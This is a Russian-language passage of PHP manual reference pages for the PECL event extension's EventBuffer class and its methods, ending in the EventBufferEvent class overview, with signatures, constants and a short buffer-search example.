const int EOL_CRLF = 1;
const int EOL_CRLF_STRICT = 2;
const int EOL_LF = 3;
const int PTR_SET = 0;
const int PTR_ADD = 1;
/* Свойства */
public readonly int $length;
public readonly int $contiguous_space;
/* Методы */
public add( string $data ): bool
public addBuffer( EventBuffer $buf ): bool
public appendFrom( EventBuffer $buf , int $len ): int
public __construct()
public copyout( string &$data , int $max_bytes ): int
public drain( int $len ): bool
public enableLocking(): void
public expand( int $len ): bool
public freeze( bool $at_front ): bool
public lock(): void
public prepend( string $data ): bool
public prependBuffer( EventBuffer $buf ): bool
public pullup( int $size ): string
public read( int $max_bytes ): string
public read( mixed $fd , int $howmuch ): int
public readLine( int $eol_style ): string
public search( string $what , int $start = -1 , int $end = -1 ): mixed
public searchEol( int $start = -1 , int $eol_style = EventBuffer::EOL_ANY ): mixed
public substr( int $start , int $length = ?): string
public unfreeze( bool $at_front ): bool
public unlock(): bool
public write( mixed $fd , int $howmuch = ?): int
}

Свойства

length

Количество байт в буфере событий.

contiguous_space

Количество байтов, хранящихся смежно в передней части буфера. Байты в буфере могут располагаться в разных кусках памяти; свойство возвращает количество байт находящихся, в текущий момент, в первом куске.

Предопределённые константы

EventBuffer::EOL_ANY

Конец строки является любой последовательностью любого числа символов перевода строки и возврата каретки. Этот формат не особо полезен и существует только для обеспечения обратной совместимости.

EventBuffer::EOL_CRLF

Конец строки является последовательностью из необязательного возврата каретки и перевода строки. (Другими словами либо "\r\n" либо "\n" .) Этот формат полезен при разборе текстовых Интернет-протоколов, поскольку стандарты обычно предписывают обозначать конец строки как "\r\n", но многие клиенты используют просто "\n" .

EventBuffer::EOL_CRLF_STRICT

Конец строки является последовательностью из символов возврата каретки и перевода строки. (Т.е. "\r\n" . ASCII-коды 0x0D 0x0A ).

EventBuffer::EOL_LF

Конец строки является обозначается символом перевода строки. (т.е. "\n" . ASCII-код 0x0A .)

EventBuffer::PTR_SET

Флаг используется как аргумент метода EventBuffer::setPosition(). Если флаг установлен, то указатель позиции перемещается на абсолютную позицию в буфере.

EventBuffer::PTR_ADD

То же, что и EventBuffer::PTR_SET , за исключением, что флаг указывает методу EventBuffer::setPosition() переместить позицию вперёд на указанное количество байт.

Содержание

  • EventBuffer::add — Добавляет данные в конец буфера событий
  • EventBuffer::addBuffer — Перемещает все данные из буфера экземпляру EventBuffer
  • EventBuffer::appendFrom — Перемещает указанное количество байтов из исходного буфера в конец текущего буфера
  • EventBuffer::__construct — Создаёт объект EventBuffer
  • EventBuffer::copyout — Копирует указанное количество байтов с начала буфера
  • EventBuffer::drain — Удаляет указанное количество байтов с начала буфера, никуда не копируя
  • EventBuffer::enableLocking — Описание
  • EventBuffer::expand — Резервирует пространство в буфере
  • EventBuffer::freeze — Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения
  • EventBuffer::lock — Получает блокировку буфера
  • EventBuffer::prepend — Записывает данные в начало буфера
  • EventBuffer::prependBuffer — Перемещает все данные из исходного буфера в начало текущего буфера
  • EventBuffer::pullup — Линеаризует данные в буфере и возвращает их содержимое в виде строки
  • EventBuffer::read — Читает данные из evbuffer и истощает прочитанные байты
  • EventBuffer::readFrom — Читает данные из файла в конец буфера
  • EventBuffer::readLine — Извлекает строку из начала буфера
  • EventBuffer::search — Сканирует буфер на наличие строки
  • EventBuffer::searchEol — Сканирует буфер на наличие конца строки
  • EventBuffer::substr — Обрезает часть данных буфера
  • EventBuffer::unfreeze — Повторно включает вызовы, которые изменяют буфер событий
  • EventBuffer::unlock — Снимает блокировку, установленную EventBuffer::lock
  • EventBuffer::write — Записывает содержимое буфера в файл или сокет

User Contributed Notes

There are no user contributed notes for this page.


Добавляет данные в конец буфера событий

  • « EventBuffer
  • EventBuffer::addBuffer »
  • PHP Manual
  • EventBuffer
  • Добавляет данные в конец буфера событий

EventBuffer::add

(PECL event >= 1.2.6-beta)

EventBuffer::add — Добавляет данные в конец буфера событий

Описание

public EventBuffer::add( string $data ): bool

Добавляет данные в конец буфера событий

Список параметров

data

Строка, которая будет добавлена в конец буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::addBuffer() - Перемещает все данные из буфера экземпляру EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Перемещает все данные из буфера экземпляру EventBuffer

  • « EventBuffer::add
  • EventBuffer::appendFrom »
  • PHP Manual
  • EventBuffer
  • Перемещает все данные из буфера экземпляру EventBuffer

EventBuffer::addBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::addBuffer — Перемещает все данные из буфера экземпляру EventBuffer

Описание

public EventBuffer::addBuffer( EventBuffer $buf ): bool

Перемещает все данные из буфера, указанного в параметре buf, в конец текущего EventBuffer. Это разрушительное дополнение. Данные из одного буфера перемещаются в другой буфер. Однако ненужных копий памяти не происходит.

Список параметров

buf

Исходный объект EventBuffer.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::add() - Добавляет данные в конец буфера событий

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

  • « EventBuffer::addBuffer
  • EventBuffer::__construct »
  • PHP Manual
  • EventBuffer
  • Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

EventBuffer::appendFrom

(PECL event >= 1.6.0)

EventBuffer::appendFrom — Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

Описание

public EventBuffer::appendFrom( EventBuffer $buf , int $len ): int

Перемещает указанное количество байтов из исходного буфера в конец текущего буфера. Если количество байтов меньше, перемещает все байты, доступные из исходного буфера.

Список параметров

buf

Исходный буфер.

len

Возвращаемые значения

Возвращает количество прочитанных байтов.

Список изменений

Версия | Описание
PECL event 1.6.0 | Переименован EventBuffer::appendFrom()(старое имя метода) в EventBuffer::appendFrom().

Смотрите также

  • EventBuffer::copyout() - Копирует указанное количество байтов с начала буфера
  • EventBuffer::drain() - Удаляет указанное количество байтов с начала буфера, никуда не копируя
  • EventBuffer::pullup() - Линеаризует данные в буфере и возвращает их содержимое в виде строки
  • EventBuffer::readLine() - Извлекает строку из начала буфера
  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект EventBuffer

  • « EventBuffer::appendFrom
  • EventBuffer::copyout »
  • PHP Manual
  • EventBuffer
  • Создаёт объект EventBuffer

EventBuffer::__construct

(PECL event >= 1.2.6-beta)

EventBuffer::__construct — Создаёт объект EventBuffer

Описание

public EventBuffer::__construct()

Создаёт объект EventBuffer

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект EventBuffer.

User Contributed Notes

There are no user contributed notes for this page.


Копирует указанное количество байтов с начала буфера

  • « EventBuffer::__construct
  • EventBuffer::drain »
  • PHP Manual
  • EventBuffer
  • Копирует указанное количество байтов с начала буфера

EventBuffer::copyout

(PECL event >= 1.2.6-beta)

EventBuffer::copyout — Копирует указанное количество байтов с начала буфера

Описание

public EventBuffer::copyout( string &$data , int $max_bytes ): int

Ведёт себя так же, как EventBuffer::read(), но не выводит данные из буфера. То есть он копирует первые байты max_bytes с начала буфера в data. Если доступно меньше max_bytes, функция копирует все имеющиеся байты.

Список параметров

data

Выходная строка.

max_bytes

Количество байтов для копирования.

Возвращаемые значения

Возвращает количество скопированных байтов или -1 в случае возникновения ошибки.

Смотрите также

  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты
  • EventBuffer::appendFrom() - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

User Contributed Notes

There are no user contributed notes for this page.


Удаляет указанное количество байтов с начала буфера, никуда не копируя

  • « EventBuffer::copyout
  • EventBuffer::enableLocking »
  • PHP Manual
  • EventBuffer
  • Удаляет указанное количество байтов с начала буфера, никуда не копируя

EventBuffer::drain

(PECL event >= 1.2.6-beta)

EventBuffer::drain — Удаляет указанное количество байтов с начала буфера, никуда не копируя

Описание

public EventBuffer::drain( int $len ): bool

Ведёт себя, как EventBuffer::read(), за исключением того, что он не копирует данные: просто удаляет их из начала буфера.

Список параметров

len

Количество байтов для удаления из буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты
  • EventBuffer::appendFrom() - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « EventBuffer::drain
  • EventBuffer::expand »
  • PHP Manual
  • EventBuffer
  • Описание

EventBuffer::enableLocking

(PECL event >= 1.2.6-beta)

EventBuffer::enableLocking —

Описание

public EventBuffer::enableLocking(): void

Включает блокировку для EventBuffer, чтобы он мог безопасно использоваться несколькими потоками одновременно. Когда блокировка включена, она будет удерживаться при вызове callback-функций. Это может привести к тупику, если вы не будете осторожны. Планируйте соответственно!

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • » Evbuffers и Thread-безопасность

User Contributed Notes

There are no user contributed notes for this page.


Резервирует пространство в буфере

  • « EventBuffer::enableLocking
  • EventBuffer::freeze »
  • PHP Manual
  • EventBuffer
  • Резервирует пространство в буфере

EventBuffer::expand

(PECL event >= 1.2.6-beta)

EventBuffer::expand — Резервирует пространство в буфере

Описание

public EventBuffer::expand( int $len ): bool

Изменяет последний фрагмент памяти в буфере или добавляет новый фрагмент, чтобы буфер был достаточно велик, для содержания len байтов без каких-либо дополнительных выделений.

Список параметров

len

Количество байтов, резервируемых для буфера

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения

  • « EventBuffer::expand
  • EventBuffer::lock »
  • PHP Manual
  • EventBuffer
  • Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения

EventBuffer::freeze

(PECL event >= 1.2.6-beta)

EventBuffer::freeze — Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения

Описание

public EventBuffer::freeze( bool $at_front ): bool

Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения

Список параметров

at_front

Отключить ли изменения в начале или конце буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::unfreeze() - Повторно включает вызовы, которые изменяют буфер событий

User Contributed Notes

There are no user contributed notes for this page.


Получает блокировку буфера

  • « EventBuffer::freeze
  • EventBuffer::prepend »
  • PHP Manual
  • EventBuffer
  • Получает блокировку буфера

EventBuffer::lock

(PECL event >= 1.2.6-beta)

EventBuffer::lock — Получает блокировку буфера

Описание

public EventBuffer::lock(): void

Получает блокировку буфера. Может использоваться в паре с EventBuffer::unlock(), чтобы сделать набор операций атомарным, то есть потокобезопасным. Обратите внимание, что нет необходимости блокировать буферы для отдельных операций. Когда блокировка включена (смотрите EventBuffer::enableLocking()), отдельные операции над буферами событий уже являются атомарными.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventBuffer::unlock() - Снимает блокировку, установленную EventBuffer::lock

User Contributed Notes

There are no user contributed notes for this page.


Записывает данные в начало буфера

  • « EventBuffer::lock
  • EventBuffer::prependBuffer »
  • PHP Manual
  • EventBuffer
  • Записывает данные в начало буфера

EventBuffer::prepend

(PECL event >= 1.2.6-beta)

EventBuffer::prepend — Записывает данные в начало буфера

Описание

public EventBuffer::prepend( string $data ): bool

Записывает данные в начало буфера.

Список параметров

data

Строка, которая будет добавлена в начало буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::prependBuffer() - Перемещает все данные из исходного буфера в начало текущего буфера
  • EventBuffer::add() - Добавляет данные в конец буфера событий
  • EventBuffer::addBuffer() - Перемещает все данные из буфера экземпляру EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Перемещает все данные из исходного буфера в начало текущего буфера

  • « EventBuffer::prepend
  • EventBuffer::pullup »
  • PHP Manual
  • EventBuffer
  • Перемещает все данные из исходного буфера в начало текущего буфера

EventBuffer::prependBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::prependBuffer — Перемещает все данные из исходного буфера в начало текущего буфера

Описание

public EventBuffer::prependBuffer( EventBuffer $buf ): bool

Ведёт себя как EventBuffer::addBuffer() , за исключением того, что он перемещает данные в начало буфера.

Список параметров

buf

Исходный буфер.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::add() - Добавляет данные в конец буфера событий
  • EventBuffer::addBuffer() - Перемещает все данные из буфера экземпляру EventBuffer
  • EventBuffer::prepend() - Записывает данные в начало буфера

User Contributed Notes

There are no user contributed notes for this page.


Линеаризует данные в буфере и возвращает их содержимое в виде строки

  • « EventBuffer::prependBuffer
  • EventBuffer::read »
  • PHP Manual
  • EventBuffer
  • Линеаризует данные в буфере и возвращает их содержимое в виде строки

EventBuffer::pullup

(PECL event >= 1.2.6-beta)

EventBuffer::pullup — Линеаризует данные в буфере и возвращает их содержимое в виде строки

Описание

public EventBuffer::pullup( int $size ): string

"Линеаризует" первые size байты буфера, копируя или перемещая их по мере необходимости, чтобы гарантировать, что все они являются смежными и занимают один и тот же кусок памяти. Если размер отрицателен, функция линеаризует весь буфер.

Внимание

Вызов EventBuffer::pullup() с большим размером может быть довольно медленным, поскольку потенциально может потребоваться копирование всего содержимого буфера.

Список параметров

size

Количество байтов должно быть непрерывным в буфере.

Возвращаемые значения

Если size больше, чем количество байтов в буфере, функция возвращает null. В противном случае возвращает строку EventBuffer::pullup().

Смотрите также

  • EventBuffer::copyout() - Копирует указанное количество байтов с начала буфера
  • EventBuffer::drain() - Удаляет указанное количество байтов с начала буфера, никуда не копируя
  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты
  • EventBuffer::readLine() - Извлекает строку из начала буфера
  • EventBuffer::appendFrom() - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

User Contributed Notes

There are no user contributed notes for this page.


Читает данные из evbuffer и истощает прочитанные байты

  • « EventBuffer::pullup
  • EventBuffer::readFrom »
  • PHP Manual
  • EventBuffer
  • Читает данные из evbuffer и истощает прочитанные байты

EventBuffer::read

(PECL event >= 1.6.0)

EventBuffer::read — Читает данные из evbuffer и истощает прочитанные байты

Описание

public EventBuffer::read( int $max_bytes ): string

Прочитайте первые max_bytes из буфера и истощите прочитанные байты. Если запрошено больше max_bytes, чем доступно в буфере, он извлекает столько байтов, сколько доступно.

Список параметров

max_bytes

Максимальное количество байтов для чтения из буфера.

Возвращаемые значения

Возвращает прочитанную строку или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL event 1.6.0 | Переименован из EventBuffer::read() (старое имя метода) в EventBuffer::read(). EventBuffer::read() теперь принимает только аргумент max_bytes; возвращает строку вместо целого числа.

Смотрите также

  • EventBuffer::copyout() - Копирует указанное количество байтов с начала буфера
  • EventBuffer::drain() - Удаляет указанное количество байтов с начала буфера, никуда не копируя
  • EventBuffer::pullup() - Линеаризует данные в буфере и возвращает их содержимое в виде строки
  • EventBuffer::readLine() - Извлекает строку из начала буфера
  • EventBuffer::appendFrom() - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

User Contributed Notes

reyad dot attiyat at gmail dot com 03-Mar-2016 10:30
This function is actually called readFrom(int fd, int max_bytes)


Читает данные из файла в конец буфера

  • « EventBuffer::read
  • EventBuffer::readLine »
  • PHP Manual
  • EventBuffer
  • Читает данные из файла в конец буфера

EventBuffer::readFrom

(PECL event >= 1.7.0)

EventBuffer::readFrom — Читает данные из файла в конец буфера

Описание

public EventBuffer::read( mixed $fd , int $howmuch ): int

Читает данные из файла, указанного в fd в конец буфера.

Список параметров

fd

Ресурс сокета, поток или числовой дескриптор файла.

howmuch

Максимальное количество байтов для чтения.

Возвращаемые значения

Возвращает количество прочитанных байтов или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::copyout() - Копирует указанное количество байтов с начала буфера
  • EventBuffer::drain() - Удаляет указанное количество байтов с начала буфера, никуда не копируя
  • EventBuffer::pullup() - Линеаризует данные в буфере и возвращает их содержимое в виде строки
  • EventBuffer::readLine() - Извлекает строку из начала буфера
  • EventBuffer::appendFrom() - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

User Contributed Notes

There are no user contributed notes for this page.


Извлекает строку из начала буфера

  • « EventBuffer::readFrom
  • EventBuffer::search »
  • PHP Manual
  • EventBuffer
  • Извлекает строку из начала буфера

EventBuffer::readLine

(PECL event >= 1.2.6-beta)

EventBuffer::readLine — Извлекает строку из начала буфера

Описание

public EventBuffer::readLine( int $eol_style ): string

Извлекает строку из начала буфера и возвращает её во вновь выделенной строке. Если нет целой строки для чтения, функция возвращает null. Терминатор строки не включается в скопированную строку.

Список параметров

eol_style

Одна из EventBuffer:EOL_* констант .

Возвращаемые значения

В случае успешного выполнения возвращает строку, прочитанную из буфера, в противном случае возвращает null.

Смотрите также

  • EventBuffer::copyout() - Копирует указанное количество байтов с начала буфера
  • EventBuffer::drain() - Удаляет указанное количество байтов с начала буфера, никуда не копируя
  • EventBuffer::pullup() - Линеаризует данные в буфере и возвращает их содержимое в виде строки
  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты
  • EventBuffer::appendFrom() - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера

User Contributed Notes

There are no user contributed notes for this page.


Сканирует буфер на наличие строки

  • « EventBuffer::readLine
  • EventBuffer::searchEol »
  • PHP Manual
  • EventBuffer
  • Сканирует буфер на наличие строки

EventBuffer::search

(PECL event >= 1.2.6-beta)

EventBuffer::search — Сканирует буфер на наличие строки

Описание

public EventBuffer::search( string $what , int $start = -1 , int $end = -1 ): mixed

Сканирует буфер на наличие строки what. Возвращает числовую позицию строки или false, если строка не была найдена.

Если указан аргумент start, он указывает на позицию, с которой должен начинаться поиск; в противном случае поиск выполняется с начала строки. Если указан аргумент end, поиск выполняется между начальной и конечной позициями буфера.

Список параметров

what

Строка для поиска.

start

Позиция начала поиска.

end

Позиция окончания поиска.

Возвращаемые значения

Возвращает числовую позицию первого вхождения строки в буфере или false, если строка не найдена.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Пример использования EventBuffer::search()

<?php
// Count total occurances of 'str' in 'buf'
function count_instances($buf, $str) {
$total = 0;
$p = 0;
$i = 0;

while (1) {
$p = $buf->search($str, $p);
if ($p === FALSE) {
break;
}
++$total;
++$p;
}

return $total;
}

$buf = new EventBuffer();
$buf->add("Some string within a string inside another string");
var_dump(count_instances($buf, "str"));
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)

Смотрите также

  • EventBuffer::searchEol() - Сканирует буфер на наличие конца строки

User Contributed Notes

There are no user contributed notes for this page.


Сканирует буфер на наличие конца строки

  • « EventBuffer::search
  • EventBuffer::substr »
  • PHP Manual
  • EventBuffer
  • Сканирует буфер на наличие конца строки

EventBuffer::searchEol

(PECL event >= 1.5.0)

EventBuffer::searchEol — Сканирует буфер на наличие конца строки

Описание

public EventBuffer::searchEol( int $start = -1 , int $eol_style = EventBuffer::EOL_ANY ): mixed

Сканирует буфер на наличие конца строки, указанного параметром eol_style. Возвращает числовую позицию строки или false, если строка не была найдена.

Если указан аргумент start, он представляет позицию, с которой должен начинаться поиск; в противном случае поиск выполняется с начала строки. Если указан аргумент end, поиск выполняется между начальной и конечной позициями буфера.

Список параметров

start

Start search position.

eol_style

Одна из EventBuffer:EOL_* констант .

Возвращаемые значения

Возвращает числовую позицию первого вхождения символа конца строки в буфере или false, если не найдено.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Смотрите также

  • EventBuffer::search() - Сканирует буфер на наличие строки

User Contributed Notes

There are no user contributed notes for this page.


Обрезает часть данных буфера

  • « EventBuffer::searchEol
  • EventBuffer::unfreeze »
  • PHP Manual
  • EventBuffer
  • Обрезает часть данных буфера

EventBuffer::substr

(PECL event >= 1.6.0)

EventBuffer::substr — Обрезает часть данных буфера

Описание

public EventBuffer::substr( int $start , int $length = ?): string

Обрезает до length байтов данных буфера, начиная с позиции start.

Список параметров

start

Начальная позиция данных, подлежащих обрезанию.

length

Максимальное количество байтов для обрезания.

Возвращаемые значения

Возвращает данные, вычтенные в виде строки (string) в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты

User Contributed Notes

There are no user contributed notes for this page.


Повторно включает вызовы, которые изменяют буфер событий

  • « EventBuffer::substr
  • EventBuffer::unlock »
  • PHP Manual
  • EventBuffer
  • Повторно включает вызовы, которые изменяют буфер событий

EventBuffer::unfreeze

(PECL event >= 1.2.6-beta)

EventBuffer::unfreeze — Повторно включает вызовы, которые изменяют буфер событий

Описание

public EventBuffer::unfreeze( bool $at_front ): bool

Повторно включает вызовы, которые изменяют буфер событий.

Список параметров

at_front

Определяет включить события в начале или в конце буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::freeze() - Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения

User Contributed Notes

There are no user contributed notes for this page.


Снимает блокировку, установленную EventBuffer::lock

  • « EventBuffer::unfreeze
  • EventBuffer::write »
  • PHP Manual
  • EventBuffer
  • Снимает блокировку, установленную EventBuffer::lock

EventBuffer::unlock

(PECL event >= 1.2.6-beta)

EventBuffer::unlock — Снимает блокировку, установленную EventBuffer::lock

Описание

public EventBuffer::unlock(): bool

Снимает блокировку, установленную EventBuffer::lock() .

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::lock() - Получает блокировку буфера

User Contributed Notes

There are no user contributed notes for this page.


Записывает содержимое буфера в файл или сокет

  • « EventBuffer::unlock
  • EventBufferEvent »
  • PHP Manual
  • EventBuffer
  • Записывает содержимое буфера в файл или сокет

EventBuffer::write

(PECL event >= 1.6.0)

EventBuffer::write — Записывает содержимое буфера в файл или сокет

Описание

public EventBuffer::write( mixed $fd , int $howmuch = ?): int

Записывает содержимое буфера в дескриптор файла. Буфер будет очищен после успешной записи байтов.

Список параметров

fd

Ресурс сокета, потоковый или числовой дескриптор файла, связанный обычно с сокетом.

howmuch

Максимальное количество байтов для записи.

Возвращаемые значения

Возвращает количество записанных байтов или false в случае возникновения ошибки.

Смотрите также

  • EventBuffer::read() - Читает данные из evbuffer и истощает прочитанные байты

User Contributed Notes

There are no user contributed notes for this page.


Класс EventBufferEvent

(PECL event >= 1.2.6-beta)

Введение

Представляет буферизированное событие Libevent.

Обычно приложению необходимо произвести буферизацию некоторого количества данных в дополнение к тому, чтоб просто реагировать на события. Когда мы, к примеру, хотим записывать данные, обычный алгоритм выглядит так:

  1. Решаем, что нам надо записать данные в соединение; складываем данные в буфер

  2. Ожидаем, когда соединение станет доступным для записи

  3. Записываем столько данных, сколько можем

  4. Запоминаем, сколько данных записали и, если остались недозаписанные данные, ждём, когда соединение снова станет доступно для записи.

Это шаблон буферизированного вводы/вывода настолько распространён, что Libevent предоставляет встроенный механизм для него. "Буферизированное событие" состоит из транспорта (например сокета), буфера чтения и буфера записи. В отличие от стандартных событий, которые используют функцию обратного вызова когда транспорт становится доступен для чтения или записи, буферизованное событие вызывает функцию обратного вызова тогда, когда прочитает или запишет достаточное количество данных.

Обзор классов

final class EventBufferEvent {
/* Константы */
const int READING = 1;
const int WRITING = 2;
const int EOF = 16;
const int ERROR = 32;
const int TIMEOUT = 64;
const int CONNECTED = 128;
const int OPT_CLOSE_ON_FREE = 1;
const int OPT_THREADSAFE = 2;
const int OPT_DEFER_CALLBACKS = 4;
const int OPT_UNLOCK_CALLBACKS = 8;
const int SSL_OPEN = 0;
const int SSL_CONNECTING = 1;
const int SSL_ACCEPTING = 2;
/* Свойства */
public int $fd;
public int $priority;
public readonly EventBuffer $input;
public readonly EventBuffer $output;
/* Методы */
public close(): void
public connect( string $addr ): bool
public connectHost(
EventDnsBase $dns_base ,
string $hostname ,
int $port ,
int $family = EventUtil::AF_UNSPEC
): bool
public __construct(
EventBase $base ,
mixed $socket = null ,
int $options = 0 ,
callable $readcb = null ,
callable $writecb = null ,
callable $eventcb = null ,
mixed $arg = null
)
public static createPair( EventBase $base , int $options = 0 ): array
public disable( int $events ): bool
public enable( int $events ): bool
public free(): void
public getDnsErrorString(): string
public getEnabled(): int
public getInput(): EventBuffer
public getOutput(): EventBuffer
public read( int $size ): string
public readBuffer( EventBuffer $buf ): bool
public setCallbacks(
callable $readcb ,
callable $writecb ,
callable $eventcb ,
mixed $arg = ?
): void
public setPriority( int $priority ): bool
public setTimeouts( float $timeout_read , float $timeout_write ): bool
public setWatermark( int $events , int $lowmark , int $highmark ): void
public sslError(): string
public static sslFilter(
EventBase $base ,
EventBufferEvent $underlying ,
EventSslContext $ctx ,
int $state ,
int $options = 0
): EventBufferEvent
public sslGetCipherInfo(): string
public sslGetCipherName(): string
public sslGetCipherVersion(): string
public sslGetProtocol(): string
public sslRenegotiate(): void
public static sslSocket(
EventBase $base ,
mixed $socket ,
EventSslContext $ctx ,
int $state ,
int $options = ?
): EventBufferEvent
public write( string $data ): bool
public writeBuffer( EventBuffer $buf ): bool
}

Свойства

fd

Числовой файловый дескриптор связанный с буферизированным сокетом. Обычно является связанным сокетом. Равен null, если отсутствует файловый дескриптор(сокет) связанный с буферизированным событием.

priority

Приоритет событий, используемых для реализации буферизованных событий.

input

Нижележащий объект входящего буфера ( EventBuffer )

output

Нижележащий объект исходящего буфера ( EventBuffer )

Предопределённые константы

EventBufferEvent::READING

Событие произошло в момент операции чтения из bufferevent. Проверьте другие флаги для этого события.

EventBufferEvent::WRITING

Событие произошло в момент операции записи в bufferevent. Проверьте другие флаги для этого события.

EventBufferEvent::EOF

Получен признак конца файла для буферизированного события.

EventBufferEvent::ERROR

Произошла ошибка во время операции с bufferevent. Подробную информацию об ошибке можно получить с помощью методов EventUtil::getLastSocketErrno() и/или EventUtil::getLastSocketError() .

EventBufferEvent::TIMEOUT

EventBufferEvent::CONNECTED

Запрошенное соединение с bufferevent установлено.

EventBufferEvent::OPT_CLOSE_ON_FREE

Закрыть нижележащий транспорт, когда объект буферизированного события уничтожен. Будет закрыт сокет, уничтожен буфер и т.д.

EventBufferEvent::OPT_THREADSAFE

Автоматически размещать блокировки для bufferevent, что позволяет безопасно использовать многопоточность.

EventBufferEvent::OPT_DEFER_CALLBACKS

Когда флаг установлен, bufferevent откладывает все свои функции обратного вызова. Смотрите » Быстрое, переносимое, неблокирующее сетевое программирование с Libevent и отложенными функциями обратного вызова (Deferred callbacks) .

EventBufferEvent::OPT_UNLOCK_CALLBACKS

По умолчанию, когда bufferevent настроен как потокобезопасный, для буферизированного события будут сохраняться блокировки при запуске любых пользовательских функций обратного вызова. Установка этого флага говорит Libevent убирать блокировки при вызове этих callback-функций.

EventBufferEvent::SSL_OPEN

Подтверждение SSL завершено

EventBufferEvent::SSL_CONNECTING

В текущий момент SSL участвует в установлении соединения как клиент

EventBufferEvent::SSL_ACCEPTING

В текущий момент SSL участвует в установлении соединения как сервер

Содержание

  • EventBufferEvent::close — Закрывает дескриптор файла, связанный с текущим событием буфера
  • EventBufferEvent::connect — Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX
  • EventBufferEvent::connectHost — Подключается по имени хоста с возможностью асинхронного разрешения DNS
  • EventBufferEvent::__construct — Создаёт объект EventBufferEvent
  • EventBufferEvent::createPair — Создаёт два буферных события, связанных друг с другом
  • EventBufferEvent::disable — Отключает чтение, запись или и то, и другое в событии буфера
  • EventBufferEvent::enable — Включает чтение, запись или и то, и другое в событии буфера
  • EventBufferEvent::free — Освобождает событие буфера
  • EventBufferEvent::getDnsErrorString — Возвращает строку, описывающую последнюю неудачную попытку поиска DNS
  • EventBufferEvent::getEnabled — Возвращает битовую маску событий, которые в данный момент активированы для буферного события
  • EventBufferEvent::getInput — Возвращает базовый входной буфер, связанный с текущим буферным событием
  • EventBufferEvent::getOutput — Возвращает базовый выходной буфер, связанный с текущим буферным событием
  • EventBufferEvent::read — Читает данные буфера
  • EventBufferEvent::readBuffer — Сливает все содержимое буфера ввода и помещает его в буфер
  • EventBufferEvent::setCallbacks — Назначает callback-функции для чтения, записи и события (состояния)
  • EventBufferEvent::setPriority — Присваивает приоритет bufferevent
  • EventBufferEvent::setTimeouts — Устанавливает время ожидания чтения и записи для события буфера
  • EventBufferEvent::setWatermark — Регулирует водяные знаки чтения и/или записи
  • EventBufferEvent::sslError — Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию
  • EventBufferEvent::sslFilter — Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера
  • EventBufferEvent::sslGetCipherInfo — Возвращает текстовое описание шифра
  • EventBufferEvent::sslGetCipherName — Возвращает текущее имя шифра соединения SSL
  • EventBufferEvent::sslGetCipherVersion — Возвращает версию шифра, используемого текущим SSL-соединением
  • EventBufferEvent::sslGetProtocol — Возвращает имя протокола, используемого для текущего соединения SSL
  • EventBufferEvent::sslRenegotiate — Сообщает буферному событию начать пересмотр SSL
  • EventBufferEvent::sslSocket — Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет
  • EventBufferEvent::write — Добавляет данные в буфер вывода буферного события
  • EventBufferEvent::writeBuffer — Добавляет содержимое всего буфера в буфер вывода буферного события

User Contributed Notes

